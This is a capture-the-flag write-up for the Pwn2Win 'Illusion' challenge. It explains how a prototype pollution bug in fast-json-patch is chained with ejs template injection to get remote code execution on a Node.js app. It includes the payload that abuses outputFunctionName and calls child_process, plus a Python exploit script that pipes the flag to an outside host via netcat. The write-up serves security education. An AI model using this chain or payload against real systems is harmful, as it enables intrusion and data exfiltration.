Introduction

This write-up aims to demonstrate a solution for the Illusion challenge. For the following reading, it is highly recommended previously understanding the concept of Prototype Pollution vulnerability.

Table of contents:

Resources: illusion.tar.gz and PoC.

Recon

Dockerfile

1
2
3
4
5
6
7
8
FROM node:alpine

EXPOSE 1337

COPY flag.txt /root/flag.txt

COPY readflag /
RUN chmod 4755 /readflag

The important information here is readflag binary. So we need to find a way to execute the readflag binary on the server machine to get the flag.

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')

const app = express()

/* Middlewares */
app.use(bodyParser.json())
app.use(basicAuth({
users: { "admin": process.env.SECRET || "admin" },
challenge: true
}))

The web application was developed in Node.JS and the content is being hosted through ExpressJS framework. Also, there are two middlewares:

1
2
3
4
5
6
7
8
9
10
11
12
let services = {
status: "online",
cameras: "online",
doors: "online",
dome: "online",
turrets: "online"
}

app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})

The homepage only returns the content of index.ejs template interpreted by ejs library.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post("/change_status", (req, res) => {

let patch = []

Object.entries(req.body).forEach(([service, status]) => {

if (service === "status"){
res.status(400).end("Cannot change all services status")
return
}

patch.push({
"op": "replace",
"path": "/" + service,
"value": status
})
});

jsonpatch.applyPatch(services, patch)

if ("offline" in Object.values(services)){
services.status = "offline"
}

res.json(services)
}

The endpoint change_status accepts a POST request and expects a JSON file content. In the line 5, the Object.entries get the properties of the JSON file, which service represents the property name and status represents the content.

In the line 12, the array patch pushes an object based on the service and status provided by the request data. In the line 19, the function applyPatch is called based on the services and the array updated before.

With all information from the source code and our goal to execute OS commands on the server, the app is working with JSON files and we might guess that something related to Prototype Pollution vulnerability can be exploitable. Therefore, the line 19 is the only that looks promising for this guessing. So we have to look at the source code of fast-json-patch library and analyze what the applyPatch function does.

Before, we can search for some vulnerabilities in this library. Looking at the PRs on GitHub repository, we can find a Prototype Pollution vulnerability reported by Alejandro Romero (alromh87) through Huntr platform, which was not patched yet.

Prototype Pollution in fast-json-patch

We already have the payload to exploit Prototype Pollution provided by the disclosure, but let’s look at how this vulnerability happens.

Payload:

1
2
3
4
const fastjsonpatch = require('fast-json-patch');
const a = {};
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);

Vulnerable code

1
2
3
4
5
6
7
8
9
10
11
function applyPatch(document, patch, validateOperation, mutateDocument, banPrototypeModifications) {
...

var results = new Array(patch.length);
for (var i = 0, length_1 = patch.length; i < length_1; i++) {
results[i] = applyOperation(document, patch[i], validateOperation, true, banPrototypeModifications, i);
document = results[i].newDocument;
}
results.newDocument = document;
return results;
}

Based on the payload, the parameter document represents the empty object a. Looking at the line 6, the function applyOperation is called, which our empty object a is the first parameter and the single object inside the patch array is the second parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function applyOperation(document, operation, validateOperation, mutateDocument, banPrototypeModifications, index) {
...
if (operation.path === "") {
...
} else {
var path = operation.path || "";
var keys = path.split('/');
var obj = document;
var t = 1;
var len = keys.length;

...

while (true) {
key = keys[t];

t++;
if (...) {
...
} else {
...
if (t >= len) {

var returnValue = objOps[operation.op].call(operation, obj, key, document);
...
return returnValue;
}
}
obj = obj[key];
}
}

Now the payload makes sense. In the line 7, our path /constructor/prototype/polluted is split by / and it stores the result into the keys variable. The empty object a now is referenced by obj. The variable t represents a counter for the while loop.

As the keys array has 3 values, the while repeats 3 times. The else statement is executed only in the last time, in other words, when key variable represents the content polluted.

In the line 23, the objOps represents all functions available to use. For our payload, operation.op represents the string replace. Thus, the replace function is finally called.

1
2
3
4
5
6
7
8
9
10
var objOps = {
...
,
replace: function (obj, key, document) {
var removed = obj[key];
obj[key] = this.value;
return { newDocument: document, removed: removed };
}
,
...

The behavior of the replace function is shown above. The explanation of Prototype Pollution be exploitable is the fact of the replace function is based on the last object property provided. We can notice our payload /constructor/prototype/polluted was split and became an array, like ["constructor", "prototype", "polluted"]. Therefore, in the last step when the replace function is called, the last object was the prototype itself. Consequently, the applyOperation function does something similar to: obj["constructor"]["prototype"]["polluted"] = "Yes! Its Polluted".

Remote Code Execution via AST Injection

AST Injection

Briefly, Abstract Syntax Tree injection is a type of vulnerability in which is possible to inject AST in some context. In some cases, the impact of this vulnerability is the influence of the parsing or compiling process, which will lead to code execution. To know more about this, check the blog post out published by POSIX (it has great examples showing similar scenarios).

As we have a possibility to create any object property with Prototype Pollution, it is possible to change/create a property to influence the compiling process.

The template engines are great to explore AST injection. In our recon step, we noticed that the app is using the template engine ejs when we make a GET request to homepage. Hence, we need to find where in the code is sensitive to this exploration based on ejs.renderFile.

AST injection in ejs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;

...
if (args.length) {
data = args.shift();
}

...

return tryHandleCache(opts, data, cb);
}

function tryHandleCache(options, data, cb) {
return new exports.promiseImpl(function (resolve, reject) {
result = handleCache(options)(data);
resolve(result);
});
}

function handleCache(options, template) {
...

func = exports.compile(template, options);

...
}

exports.compile = function compile(template, opts) {
...

templ = new Template(template, opts);
return templ.compile();
};

Template.prototype = {
...

if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

...
}

In the line 44, it is shown which property can exist and influence the compiling process. Thus, the execution flow of ejs.renderFile is:

Now we need to use the Prototype Pollution to set the property outputFunctionName with a content to execute arbitrary OS command. One possible payload can be:
"_; process.mainModule.require('child_process').execSync('<OS command>');//.

The content executed by the compiler will look like: var _; process.mainModule.require('child_process').execSync('<OS command>');// = __append;' + '\n

Getting the flag

To get the flag we need to remember all steps:

Remembering from the recon step, we can use the readflag binary to get the flag. Once the target server has netcat available, the command executed to receive the flag in our host can be: ./readflag | nc <HOST> <PORT> .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

# Get user and password at "http://illusion.pwn2win.party:1337"

TARGET_URL = "http://illusion.pwn2win.party:<PORT instance>"
USER = ""
PASSWORD = ""

MY_HOST = ""
MY_PORT = ""

requests.post(TARGET_URL + '/change_status', json = {
"constructor/prototype/outputFunctionName": f"_; process.mainModule.require('child_process').execSync('./readflag | nc {MY_HOST} {MY_PORT}');//"
}, auth=(USER, PASSWORD)
)

requests.get(TARGET_URL, auth=(USER, PASSWORD))

For the Python script above to execute correctly, it is necessary to make a proof of work connecting at nc illusion.pwn2win.party 1337. Then, you will receive an instance URL and the credentials to be able to make requests (remember the middleware from the recon step).

Now you only need to do some changes:

Flag: CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}

If you have some questions or considerations about this write-up, comment on the tweet below. Thank you!

References

  1. Prototype pollution - The Daily Swig
  2. Prototype Pollution in fast-json-patch - Alejandro Romero (alromh87).
  3. AST Injection, Prototype Pollution to RCE - POSIX’s blog.
  4. Illusion challenge - Pwn2Win

Discuss on Twitter